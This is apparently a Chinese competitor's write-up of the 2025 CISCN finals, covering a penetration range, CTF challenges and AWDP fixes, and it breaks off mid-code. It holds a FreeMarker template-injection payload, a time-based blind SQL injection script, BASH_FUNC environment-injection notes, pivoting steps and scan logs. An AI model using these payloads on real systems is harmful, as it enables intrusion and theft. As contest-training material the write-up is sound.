目录

  1. 1. 前言
  2. 2. Build
  3. 3. 渗透
  4. 4. 8.145.34.91
    1. 4.1. flag01
    2. 4.2. 靶场检测项
  5. 5. CTF-day1
    1. 5.1. hard_php(复现)
    2. 5.2. easy_can
  6. 6. CTF-day2
    1. 6.1. PIK证书签发
  7. 7. AWDP
    1. 7.1. web-rbac
      1. 7.1.1. fix
      2. 7.1.2. attack
    2. 7.2. web-security_rasp
      1. 7.2.1. fix
    3. 7.3. web-ota(Unsolved)
      1. 7.3.1. fix
    4. 7.4. pwn-DarkHeap
      1. 7.4.1. fix
    5. 7.5. pwn-embbed_httpd
      1. 7.5.1. fix
  8. 8. Thinking

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

2025CISCN决赛

2025/7/21 线下赛
  |     |   总文章阅读量:

前言

2025.7.19-7.20 郑州 网络安全科技馆 强网杯同款赛博厅

NISA-GreenSpark 位37 全国二等奖 一如去年

day1 渗透+CTF

day2 AWDP+CTF

今年居然又恢复申请联网了


Build

构建知识库喂ai(x)

充当爬虫干苦力活(√)


渗透

8.145.34.91

8.145.34.91:27017 open
8.145.34.91:22 open
8.145.34.91:21 open
8.145.34.91:20880 open
8.145.34.91:8070 open
8.145.34.91:81 open
8.145.34.91:8001 open
8.145.34.91:9080 open
8.145.34.91:6868 open
8.145.34.91:80 open
8.145.34.91:8016 open
8.145.34.91:82 open
8.145.34.91:6648 open
8.145.34.91:7088 open
8.145.34.91:8089 open
8.145.34.91:8020 open
8.145.34.91:11211 open
8.145.34.91:8018 open
8.145.34.91:135 open
8.145.34.91:7008 open
8.145.34.91:7007 open
8.145.34.91:7890 open
8.145.34.91:8244 open
8.145.34.91:7000 open
8.145.34.91:83 open
8.145.34.91:1118 open
8.145.34.91:3306 open
8.145.34.91:8002 open
8.145.34.91:8028 open
8.145.34.91:7070 open
8.145.34.91:1433 open
8.145.34.91:1888 open
8.145.34.91:8222 open
8.145.34.91:7002 open
8.145.34.91:8081 open
8.145.34.91:3000 open
8.145.34.91:8008 open
8.145.34.91:8258 open
8.145.34.91:5432 open
8.145.34.91:84 open
8.145.34.91:8030 open
8.145.34.91:9081 open
8.145.34.91:6379 open
8.145.34.91:8009 open
8.145.34.91:445 open
8.145.34.91:2379 open
8.145.34.91:8082 open
8.145.34.91:7071 open
8.145.34.91:139 open
8.145.34.91:7003 open
8.145.34.91:3008 open
8.145.34.91:7004 open
8.145.34.91:8038 open
8.145.34.91:8003 open
8.145.34.91:7001 open
8.145.34.91:8010 open
8.145.34.91:85 open
8.145.34.91:8083 open
8.145.34.91:8280 open
8.145.34.91:8097 open
8.145.34.91:3128 open
8.145.34.91:2008 open
8.145.34.91:7080 open
8.145.34.91:7074 open
8.145.34.91:443 open
8.145.34.91:9082 open
8.145.34.91:1521 open
8.145.34.91:8000 open
8.145.34.91:8042 open
8.145.34.91:1082 open
8.145.34.91:8080 open
8.145.34.91:8044 open
8.145.34.91:8880 open
8.145.34.91:8443 open
8.145.34.91:86 open
8.145.34.91:8004 open
8.145.34.91:9083 open
8.145.34.91:7005 open
8.145.34.91:2020 open
8.145.34.91:1000 open
8.145.34.91:8084 open
8.145.34.91:1010 open
8.145.34.91:8360 open
8.145.34.91:9001 open
8.145.34.91:8288 open
8.145.34.91:8006 open
8.145.34.91:9085 open
8.145.34.91:3505 open
8.145.34.91:7078 open
8.145.34.91:5555 open
8.145.34.91:808 open
8.145.34.91:8087 open
8.145.34.91:8048 open
8.145.34.91:1080 open
8.145.34.91:8060 open
8.145.34.91:8012 open
8.145.34.91:801 open
8.145.34.91:8011 open
8.145.34.91:87 open
8.145.34.91:880 open
8.145.34.91:8834 open
8.145.34.91:9086 open
8.145.34.91:8848 open
8.145.34.91:8085 open
8.145.34.91:8989 open
8.145.34.91:8800 open
8.145.34.91:98 open
8.145.34.91:889 open
8.145.34.91:8099 open
8.145.34.91:8899 open
8.145.34.91:8172 open
8.145.34.91:8092 open
8.145.34.91:8838 open
8.145.34.91:8100 open
8.145.34.91:8448 open
8.145.34.91:8046 open
8.145.34.91:9087 open
8.145.34.91:8086 open
8.145.34.91:8881 open
8.145.34.91:8181 open
8.145.34.91:8053 open
8.145.34.91:2375 open
8.145.34.91:10008 open
8.145.34.91:88 open
8.145.34.91:89 open
8.145.34.91:9008 open
8.145.34.91:28018 open
8.145.34.91:9981 open
8.145.34.91:8095 open
8.145.34.91:9060 open
8.145.34.91:12018 open
8.145.34.91:9443 open
8.145.34.91:8484 open
8.145.34.91:18004 open
8.145.34.91:9084 open
8.145.34.91:8118 open
8.145.34.91:9088 open
8.145.34.91:8983 open
8.145.34.91:8088 open
8.145.34.91:8098 open
8.145.34.91:8868 open
8.145.34.91:10010 open
8.145.34.91:8090 open
8.145.34.91:8180 open
8.145.34.91:8091 open
8.145.34.91:2100 open
8.145.34.91:10250 open
8.145.34.91:8858 open
8.145.34.91:9002 open
8.145.34.91:8888 open
8.145.34.91:8069 open
8.145.34.91:18001 open
8.145.34.91:18088 open
8.145.34.91:10004 open
8.145.34.91:7200 open
8.145.34.91:14000 open
8.145.34.91:8096 open
8.145.34.91:8161 open
8.145.34.91:888 open
8.145.34.91:8094 open
8.145.34.91:10001 open
8.145.34.91:8200 open
8.145.34.91:18082 open
8.145.34.91:6080 open
8.145.34.91:9998 open
8.145.34.91:8108 open
8.145.34.91:8101 open
8.145.34.91:21000 open
8.145.34.91:91 open
8.145.34.91:18000 open
8.145.34.91:9448 open
8.145.34.91:20720 open
8.145.34.91:8093 open
8.145.34.91:1081 open
8.145.34.91:8879 open
8.145.34.91:18098 open
8.145.34.91:9010 open
8.145.34.91:9090 open
8.145.34.91:9043 open
8.145.34.91:90 open
8.145.34.91:8300 open
8.145.34.91:9800 open
8.145.34.91:18090 open
8.145.34.91:9986 open
8.145.34.91:18002 open
8.145.34.91:19001 open
8.145.34.91:16080 open
8.145.34.91:9999 open
8.145.34.91:99 open
8.145.34.91:10002 open
8.145.34.91:21501 open
8.145.34.91:21502 open
8.145.34.91:800 open
8.145.34.91:9092 open
8.145.34.91:9091 open
8.145.34.91:92 open
8.145.34.91:18080 open
8.145.34.91:20000 open
8.145.34.91:9988 open
8.145.34.91:9200 open
8.145.34.91:7688 open
8.145.34.91:9094 open
8.145.34.91:9095 open
8.145.34.91:9089 open
8.145.34.91:9093 open
8.145.34.91:7777 open
8.145.34.91:1099 open
8.145.34.91:9000 open
8.145.34.91:9099 open
8.145.34.91:9096 open
8.145.34.91:12443 open
8.145.34.91:10000 open
8.145.34.91:18008 open
8.145.34.91:9100 open
8.145.34.91:9097 open
8.145.34.91:7687 open
8.145.34.91:9098 open
8.145.34.91:7680 open
[*] alive ports len is: 218
start vulscan
[*] WebTitle http://8.145.34.91        code:200 len:14323  title:FinancePro ERP系统
[*] WebTitle http://8.145.34.91:8081   code:200 len:1766   title:""

flag01

8081端口 Jeecg-Boot 后台

直接 FreeMarker 模板注入拿shell

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"cat /flag\")}'" }

内存马上线,因为 IWannaGetAll 的匹配路由问题这里需要复制过去手打

docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:28ff:fe0a:51d9  prefixlen 64  scopeid 0x20<link>
        ether 02:42:28:0a:51:d9  txqueuelen 0  (Ethernet)
        RX packets 6657  bytes 305857 (305.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6665  bytes 399759 (399.7 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.10.22  netmask 255.255.255.0  broadcast 172.22.10.255
        inet6 fe80::216:3eff:fe0c:bf7a  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:0c:bf:7a  txqueuelen 1000  (Ethernet)
        RX packets 58675  bytes 28280334 (28.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 71067  bytes 57811863 (57.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 169211  bytes 44490780 (44.4 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 169211  bytes 44490780 (44.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
veth0ce5688: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::10be:a7ff:fe2a:c312  prefixlen 64  scopeid 0x20<link>
        ether 12:be:a7:2a:c3:12  txqueuelen 0  (Ethernet)
        RX packets 6657  bytes 399055 (399.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6689  bytes 401535 (401.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

双网卡,fscan开扫

[2025-07-19 10:48:52] [HOST] 目标:172.17.0.1 状态:alive 详情:protocol=ICMP
[2025-07-19 10:48:52] [HOST] 目标:172.17.0.2 状态:alive 详情:protocol=ICMP
[2025-07-19 10:48:55] [PORT] 目标:172.17.0.1 状态:open 详情:port=6379
[2025-07-19 10:48:56] [PORT] 目标:172.17.0.1 状态:open 详情:port=3306
[2025-07-19 10:48:56] [PORT] 目标:172.17.0.2 状态:open 详情:port=6379
[2025-07-19 10:48:56] [PORT] 目标:172.17.0.1 状态:open 详情:port=80
[2025-07-19 10:48:56] [PORT] 目标:172.17.0.1 状态:open 详情:port=22
[2025-07-19 10:48:56] [SERVICE] 目标:172.17.0.1 状态:identified 详情:os=Linux, info=Ubuntu Linux; protocol 2.0, banner=SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13., port=22, service=ssh, version=8.2p1 Ubuntu 4ubuntu0.13, product=OpenSSH
[2025-07-19 10:48:56] [PORT] 目标:172.17.0.1 状态:open 详情:port=8081
[2025-07-19 10:48:56] [PORT] 目标:172.17.0.1 状态:open 详情:port=8080
[2025-07-19 10:49:00] [SERVICE] 目标:172.17.0.1 状态:identified 详情:port=3306, service=mysql, version=5.7.33-0ubuntu0.16.04.1, product=MySQL, banner=[.5.7.33-0ubuntu0.16.04.1.l:d:N1d.it2{.) mysql_native_password
[2025-07-19 10:49:00] [SERVICE] 目标:172.17.0.1 状态:identified 详情:port=6379, service=redis, banner=-NOAUTH Authentication required..
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.2 状态:identified 详情:port=6379, service=redis, banner=-NOAUTH Authentication required..
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.1 状态:identified 详情:port=80, service=http, version=1.18.0, product=nginx, os=Linux, info=Ubuntu
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.1 状态:identified 详情:info=Ubuntu, port=8081, service=http, version=1.18.0, product=nginx, os=Linux
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.1 状态:identified 详情:port=8080, service=http
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.1 状态:identified 详情:status_code=200, length=14323, server_info=map[content-type:text/html date:Sat, 19 Jul 2025 02:49:01 GMT etag:W/"68739225-37f3" last-modified:Sun, 13 Jul 2025 11:01:57 GMT length:14323 server:nginx/1.18.0 (Ubuntu) status_code:200 title:FinancePro ERP系统], fingerprints=[], port=80, service=http, title=FinancePro ERP系统, url=http://172.17.0.1
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.1 状态:identified 详情:fingerprints=[], port=8080, service=http, title=HTTP Status 404 – Not Found, url=http://172.17.0.1:8080, status_code=404, length=682, server_info=map[content-language:en content-length:682 content-type:text/html;charset=utf-8 date:Sat, 19 Jul 2025 02:49:01 GMT length:682 status_code:404 title:HTTP Status 404 – Not Found]
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.1 状态:identified 详情:url=http://172.17.0.1:8081, status_code=200, length=1766, server_info=map[accept-ranges:bytes content-language:zh-CN content-type:text/html date:Sat, 19 Jul 2025 02:49:01 GMT last-modified:Sun, 13 Jul 2025 11:02:09 GMT length:1766 server:nginx/1.18.0 (Ubuntu) status_code:200 title:"" vary:origin,access-control-request-method,access-control-request-headers,accept-encoding], fingerprints=[], port=8081, service=http, title=""
[2025-07-19 10:49:43] [HOST] 目标:172.22.10.22 状态:alive 详情:protocol=ICMP
[2025-07-19 10:49:43] [HOST] 目标:172.22.10.17 状态:alive 详情:protocol=ICMP
[2025-07-19 10:49:43] [HOST] 目标:172.22.10.88 状态:alive 详情:protocol=ICMP
[2025-07-19 10:49:43] [HOST] 目标:172.22.10.253 状态:alive 详情:protocol=ICMP
[2025-07-19 10:49:46] [PORT] 目标:172.22.10.88 状态:open 详情:port=80
[2025-07-19 10:49:46] [PORT] 目标:172.22.10.22 状态:open 详情:port=80
[2025-07-19 10:49:46] [PORT] 目标:172.22.10.88 状态:open 详情:port=21
[2025-07-19 10:49:46] [PORT] 目标:172.22.10.17 状态:open 详情:port=22
[2025-07-19 10:49:46] [SERVICE] 目标:172.22.10.17 状态:identified 详情:port=22, service=ssh, version=8.2p1 Ubuntu 4ubuntu0.13, product=OpenSSH, os=Linux, info=Ubuntu Linux; protocol 2.0, banner=SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13.
[2025-07-19 10:49:46] [PORT] 目标:172.22.10.88 状态:open 详情:port=135
[2025-07-19 10:49:46] [PORT] 目标:172.22.10.88 状态:open 详情:port=139
[2025-07-19 10:49:47] [PORT] 目标:172.22.10.88 状态:open 详情:port=445
[2025-07-19 10:49:47] [PORT] 目标:172.22.10.22 状态:open 详情:port=22
[2025-07-19 10:49:47] [SERVICE] 目标:172.22.10.22 状态:identified 详情:port=22, service=ssh, version=8.2p1 Ubuntu 4ubuntu0.13, product=OpenSSH, os=Linux, info=Ubuntu Linux; protocol 2.0, banner=SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13.
[2025-07-19 10:49:47] [PORT] 目标:172.22.10.22 状态:open 详情:port=3306
[2025-07-19 10:49:47] [SERVICE] 目标:172.22.10.22 状态:identified 详情:port=3306, service=mysql, version=5.7.33-0ubuntu0.16.04.1, product=MySQL, banner=[.5.7.33-0ubuntu0.16.04.1.! 2(.e.3L *.%!AT6g mysql_native_password
[2025-07-19 10:49:49] [PORT] 目标:172.22.10.22 状态:open 详情:port=6379
[2025-07-19 10:49:51] [SERVICE] 目标:172.22.10.88 状态:identified 详情:service=http, port=80
[2025-07-19 10:49:51] [SERVICE] 目标:172.22.10.22 状态:identified 详情:service=http, version=1.18.0, product=nginx, os=Linux, info=Ubuntu, port=80
[2025-07-19 10:49:52] [SERVICE] 目标:172.22.10.88 状态:identified 详情:port=139, service=unknown, banner=.
[2025-07-19 10:49:52] [SERVICE] 目标:172.22.10.88 状态:identified 详情:port=445, service=unknown
[2025-07-19 10:49:52] [PORT] 目标:172.22.10.22 状态:open 详情:port=8080
[2025-07-19 10:49:52] [PORT] 目标:172.22.10.22 状态:open 详情:port=8081
[2025-07-19 10:49:54] [SERVICE] 目标:172.22.10.22 状态:identified 详情:service=redis, banner=-NOAUTH Authentication required.., port=6379
[2025-07-19 10:49:56] [SERVICE] 目标:172.22.10.88 状态:identified 详情:port=21, service=unknown
[2025-07-19 10:49:57] [SERVICE] 目标:172.22.10.22 状态:identified 详情:port=8080, service=http
[2025-07-19 10:49:57] [SERVICE] 目标:172.22.10.22 状态:identified 详情:port=8081, service=http, version=1.18.0, product=nginx, os=Linux, info=Ubuntu

接下来是代理,测试发现靶机不通外网,且没发vps,那么只能用 NeoreGeorg 搭正向代理

好消息是 IWannaGetAll 里面有对应的内存马,坏消息是 IWannaGetAll 的内存马只能同时存在一种,我这里选择重置靶机然后再次打入正向代理的内存马

172.22.10.88:445 
172.22.10.88:18000 
172.22.10.88:135 
172.22.10.88:6648 
172.22.10.88:8088 
172.22.10.88:6080 
172.22.10.88:8101 
172.22.10.88:8100 
172.22.10.88:139 
172.22.10.88:98 
172.22.10.88:99 
172.22.10.88:9981 
172.22.10.88:21000 
172.22.10.88:21501 
172.22.10.88:28018 
172.22.10.88:443 
172.22.10.88:9998 
172.22.10.88:9999 
172.22.10.88:3306 
172.22.10.88:5432 
172.22.10.88:10000 
172.22.10.88:18098 
172.22.10.88:18001 
172.22.10.88:80 
172.22.10.88:18004 
172.22.10.88:1099 
172.22.10.88:7080 
172.22.10.88:19001 
172.22.10.88:20720 
172.22.10.88:18082 
172.22.10.88:18088 
172.22.10.88:18008 
172.22.10.88:9988 
172.22.10.88:889 
172.22.10.88:81 
172.22.10.88:8118 
172.22.10.88:6868 
172.22.10.88:1521 
172.22.10.88:1118 
172.22.10.88:20880 
172.22.10.88:10001 
172.22.10.88:2008 
172.22.10.88:1888 
172.22.10.88:6379 
172.22.10.88:8108 
172.22.10.88:21502 
172.22.10.88:8008 
172.22.10.88:8010 
172.22.10.88:20000 
172.22.10.88:18090 
172.22.10.88:18002 
172.22.10.88:7001 
172.22.10.88:2020 
172.22.10.88:8009 
172.22.10.88:2100 
172.22.10.88:7000 
172.22.10.88:8090 
172.22.10.88:8000 
172.22.10.88:10002 
172.22.10.88:8080 
172.22.10.88:9986 
172.22.10.88:7088 
172.22.10.88:18080 
172.22.10.88:1080 
172.22.10.88:8092 
172.22.10.88:7007 
172.22.10.88:10004 
172.22.10.88:3008 
172.22.10.88:1082 
172.22.10.88:7071 
172.22.10.88:3000 
172.22.10.88:27017 
172.22.10.88:1000 
172.22.10.88:84 
172.22.10.88:8093 
172.22.10.88:7003 
172.22.10.88:10250 
172.22.10.88:12443 
172.22.10.88:14000 
172.22.10.88:82 
172.22.10.88:88 
172.22.10.88:808 
172.22.10.88:87 
172.22.10.88:8089 
172.22.10.88:8053 
172.22.10.88:5555 
172.22.10.88:8161 
172.22.10.88:16080 
172.22.10.88:7070 
172.22.10.88:8094 
172.22.10.88:8030 
172.22.10.88:85 
172.22.10.88:12018 
172.22.10.88:22 
172.22.10.88:888 
172.22.10.88:2379 
172.22.10.88:89 
172.22.10.88:8880 
172.22.10.88:86 
172.22.10.88:8016 
172.22.10.88:91 
172.22.10.88:8095 
172.22.10.88:7005 
172.22.10.88:8038 
172.22.10.88:8042 
172.22.10.88:7777 
172.22.10.88:8091 
172.22.10.88:90 
172.22.10.88:7078 
172.22.10.88:8060 
172.22.10.88:8018 
172.22.10.88:8044 
172.22.10.88:7688 
172.22.10.88:9089 
172.22.10.88:8048 
172.22.10.88:801 
172.22.10.88:8020 
172.22.10.88:83 
172.22.10.88:7890 
172.22.10.88:1010 
172.22.10.88:8069 
172.22.10.88:10010 
172.22.10.88:8280 
172.22.10.88:7687 
172.22.10.88:7680 
172.22.10.88:8028 
172.22.10.88:8012 
172.22.10.88:880 
172.22.10.88:9090 
172.22.10.88:1433 
172.22.10.88:8448 
172.22.10.88:8222 
172.22.10.88:1081 
172.22.10.88:7002 
172.22.10.88:11211 
172.22.10.88:8070 
172.22.10.88:8001 
172.22.10.88:7008 
172.22.10.88:21 
172.22.10.88:8172 
172.22.10.88:2375 
172.22.10.88:3505 
172.22.10.88:8200 
172.22.10.88:8082 
172.22.10.88:7004 
172.22.10.88:800 
172.22.10.88:8181 
172.22.10.88:8046 
172.22.10.88:7200 
172.22.10.88:8003 
172.22.10.88:8011 
172.22.10.88:10008 
172.22.10.88:9000 
172.22.10.88:8180 
172.22.10.88:9200 
172.22.10.88:3128 
172.22.10.88:92 
172.22.10.88:9088 
172.22.10.88:7074 
172.22.10.88:8085 
172.22.10.88:8086 
172.22.10.88:8300 
172.22.10.88:8244 
172.22.10.88:8081 
172.22.10.88:8006 
172.22.10.88:8004 
172.22.10.88:8834 
172.22.10.88:8087 
172.22.10.88:8848 
172.22.10.88:8858 
172.22.10.88:8881 
172.22.10.88:9087 
172.22.10.88:8800 
172.22.10.88:8084 
172.22.10.88:9083 
172.22.10.88:9002 
172.22.10.88:8484 
172.22.10.88:9043 
172.22.10.88:8868 
172.22.10.88:8096 
172.22.10.88:8258 
172.22.10.88:9091 
172.22.10.88:9095 
172.22.10.88:9092 
172.22.10.88:9081 
172.22.10.88:9008 
172.22.10.88:8083 
172.22.10.88:8443 
172.22.10.88:9010 
172.22.10.88:9085 
172.22.10.88:9448 
172.22.10.88:9093 
172.22.10.88:8983 
172.22.10.88:8899 
172.22.10.88:9001 
172.22.10.88:9097 
172.22.10.88:8879 
172.22.10.88:9060 
172.22.10.88:8098 
172.22.10.88:9098 
172.22.10.88:8099 
172.22.10.88:8989 
172.22.10.88:9080 
172.22.10.88:9099 
172.22.10.88:9086 
172.22.10.88:8097 
172.22.10.88:9084 
172.22.10.88:8838 
172.22.10.88:9096 
172.22.10.88:9800 
172.22.10.88:9094 
172.22.10.88:9100 
172.22.10.88:8888 
172.22.10.88:8002 
172.22.10.88:9082 
172.22.10.88:9443 
172.22.10.88:8288 
172.22.10.88:8360 

靶场检测项

我们刚拿到shell就是root,肯定存在高权限账户。

我们不能ping外网,故无法连接。

扫到8081端口可以访问。

jar包内存在root/root凭证,弱口令。

jar包内存在Spring相关内容,故为SpringBoot框架。

uname发现ubuntu。

我们获取shell的方式就是JDBC注入。

数据库管理接口无法进行未授权访问。

对Web02进行访问得:

>>> r=requests.options('http://172.22.10.88')
[proxychains] Dynamic chain  ...  172.22.224.1:1080  ...  172.22.10.88:80  ...  OK
>>> dir(r)
['__attrs__', '__bool__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__nonzero__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setstate__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_content', '_content_consumed', '_next', 'apparent_encoding', 'close', 'connection', 'content', 'cookies', 'elapsed', 'encoding', 'headers', 'history', 'is_permanent_redirect', 'is_redirect', 'iter_content', 'iter_lines', 'json', 'links', 'next', 'ok', 'raise_for_status', 'raw', 'reason', 'request', 'status_code', 'text', 'url']
>>> r.headers
{'Date': 'Sat, 19 Jul 2025 04:38:47 GMT', 'Server': 'Apache/2.4.63 (Win64)', 'Content-Length': '199', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=iso-8859-1'}
>>>

Web02的FTP可以用anonymous用户名和空密码访问。

下载.htaccess文件没有受到限制,故其他三个选项全错。

测试发现MS17-010利用失败。

未提到的题目为合理想象、猜测和随机选择。

CTF-day1

hard_php(复现)

www.zip 泄露源码

login.php

<?php

session_start();
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|replace|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|benchmark|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    //echo($sql);
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    //var_dump($row);
    if (!$row) {
        alertMes("something wrong",'index.php');
    } 
    //echo($row['password']);   
if ($row['password'] === $password) {
        $_SESSION['user']['islogin']=true;
        alertMes("login success!!",'admin.php');
    } else {
    alertMes("something wrong",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>

很眼熟,是NSSCTF web 刷题记录1 | 雲流のLowest World中亦有记载的

不一样的地方是这里把三种方法全ban了,不能 like 布尔盲注也不能 quine 注入,更没有 phpmyadmin

那尝试时间盲注

1'or/**/if(password/**/like/**/'a%',(select/**/count(*)/**/from/**/information_schema.columns/**/A,information_schema.columns/**/B,information_schema.columns/**/C),0)#

编写脚本

import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyz~"

url = "https://eci-2ze8pzj780kl2qmhte2x.cloudeci1.ichunqiu.com:80/login.php"
flag = "asdahsofvhoi325890hf23094yhoas"
while True:
    for i in alp:
        data={"username":"admin","password":f"1'or/**/if(password/**/like/**/'{flag+i}%',(select/**/count(*)/**/from/**/information_schema.columns/**/A,information_schema.columns/**/B,information_schema.columns/**/C),0)#"}
        # print(data)
        try:
            resp = requests.post(url, data, timeout=0.8)
        except:
            flag += i
            print(flag)
            break
        if i == "~":
            exit("over")

得到密码:asdahsofvhoi325890hf23094yhoasifb2

admin.php

<?php
session_start();
if (!isset($_SESSION['user']['islogin'])){
    // echo "<h1 style = 'text-align: center;'>对不起,您无权访问此界面,请登陆</h1>";
    echo "<script>location='./index.php';</script>";
    exit;
}

system('echo "This is a test page, but as an administrator, you can see the files in the current directory</h1>";ls');

ls 列出当前目录下的文件:

CONST.php adca4977cb42016071530fb8888105c7.php admin.php conn.php css index.php js lib.php login.php www.zip

adca4977cb42016071530fb8888105c7.php

<?php
error_reporting(0);

foreach ($_REQUEST['env'] as $key => $value) {
    if (blacklist($value)) {
        $a=putenv("{$key}={$value}");
    }else{
        echo "Hack!!!";
    }
}
highlight_file(__FILE__);
function blacklist($a){
    if (preg_match('/ls|x|cat|tac|tail|nl|f|l|a|g|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\.|\'|\"|\\\\/is', $a) === 0){
        return true;
    }
    else{
        return false;
    }
}
include "./admin.php";
?>

明显是p神的环境变量注入,这里用的是 BASH_FUNC_ECHO()=(){ id; }

结果我卡在最后的rce没做出来,第二天环境还在想了五分钟秒了

dir列出目录发现 flag 为 f1ag,直接用 php 读:php /*1*


easy_can

flag{00000188040000000200000000000000}


CTF-day2

PIK证书签发

仔细看看文档,我们只需要验证用户角色的字符串与内置数据库的Enum是否一致。其实就几行代码的事。

int proc_pik_usercheck(void * sub_proc,RECORD(GENERAL_RETURN,STRING) * keyevent_cmd,void * recv_msg)
{
    int ret; 
    RECORD(TCM_PIK_DESC,USERINFO) * pik_userinfo;
    RECORD(USER_DEFINE,SERVER_STATE) * server_state;
    char user_name[DIGEST_SIZE];
    MSG_EXPAND * msg_expand;
	

    // get userinfo from pik req information
    ret = message_get_define_expand(recv_msg,&msg_expand,TYPE_PAIR(TCM_PIK_DESC,USERINFO));
    if(ret<0)
        return -EINVAL;
    if(msg_expand == NULL)
    {
	    return -EINVAL;
    }
    pik_userinfo=msg_expand->expand;

    print_cubeaudit("enter pik_usercheck function!");



    // get userinfo from local information
    DB_RECORD * db_record;
    db_record = memdb_find_first(TYPE_PAIR(USER_DEFINE,SERVER_STATE),"user_name",pik_userinfo->username);
    if(db_record == NULL)
	    return -EINVAL;
    server_state = db_record->record;

    // compare pikreq's user role with server_state's role
    // if it is different, then stop pikcert process and return -EINVAL;
    printf("userinfo role is %s server_state role is %d \n",pik_userinfo->user_role,server_state->role);
	int urole;
	if(pik_userinfo->user_role[0]=='A')urole=1;
	if(pik_userinfo->user_role[0]=='U')urole=2;
	if(pik_userinfo->user_role[0]=='G')urole=3;

	if(urole!=server_state->role){
        printf("wtf\n");
		return -EINVAL;
	}

    ret=ex_module_sendmsg(sub_proc,recv_msg);
    return ret;
}

AWDP

web-rbac

docker load < rbac.tar 导入 tar 包,docker run -p 8080:80 rbac 映射 80 端口

源码在 /app 下

package main

import (
        "errors"
        "os"
        "path/filepath"
        "strings"

        "github.com/gin-gonic/gin"
)

var RBACList = make(map[string]int)

type ResTemplate struct {
        Success bool
        Data    any
}

type ExecStruct struct {
        File      []string
        Directory []string
        Pwd       []string
        Flag      []string
        FuncName  string
        Param     string
}

func main() {
        r := gin.Default()
        initRBAC()
        r.GET("/", func(c *gin.Context) {
                htmlContent, err := os.ReadFile("index.html")
                if err != nil {
                        c.String(400, "Error loading HTML file")
                        return
                }

                c.Writer.Write(htmlContent)
        })

        r.GET("/getCurrentRBAC", func(c *gin.Context) {
                var response ResTemplate
                if RBACList["rbac:read"] == 1 {
                        response = ResTemplate{
                                Success: true,
                                Data:    RBACList,
                        }
                        c.JSON(200, response)
                } else {
                        response = ResTemplate{
                                Success: false,
                        }
                        c.JSON(403, response)

                }

        })

        r.POST("/execSysFunc", func(c *gin.Context) {
                var execStruct ExecStruct
                var response ResTemplate
                err := c.ShouldBindJSON(&execStruct)
                if err != nil {
                        response = ResTemplate{
                                Success: false,
                                Data:    map[string]string{"error": err.Error()},
                        }
                        c.JSON(400, response)
                }

                // permission grant
                RBACToGrant := make(map[string]int)
                var value string
                maxDeep := 0

                if execStruct.Directory != nil {
                        for _, value = range execStruct.Directory {
                                if maxDeep < 8 {
                                        RBACToGrant["directory:"+value] = 1
                                        maxDeep++
                                } else {
                                        break
                                }

                        }
                }
                if execStruct.Flag != nil {
                        for _, value = range execStruct.Flag {
                                if maxDeep < 8 {
                                        RBACToGrant["flag:"+value] = 1
                                        maxDeep++
                                } else {
                                        break
                                }
                        }
                }
                if execStruct.Pwd != nil {
                        for _, value = range execStruct.Pwd {
                                if maxDeep < 8 {
                                        RBACToGrant["pwd:"+value] = 1
                                        maxDeep++
                                } else {
                                        break
                                }

                        }
                }

                if execStruct.File != nil {

                        for _, value = range execStruct.File {
                                // Grant temporary file:return permissions
                                if value == "return" && RBACList["rbac:change_return"] != 1 {
                                        if maxDeep < 5 {
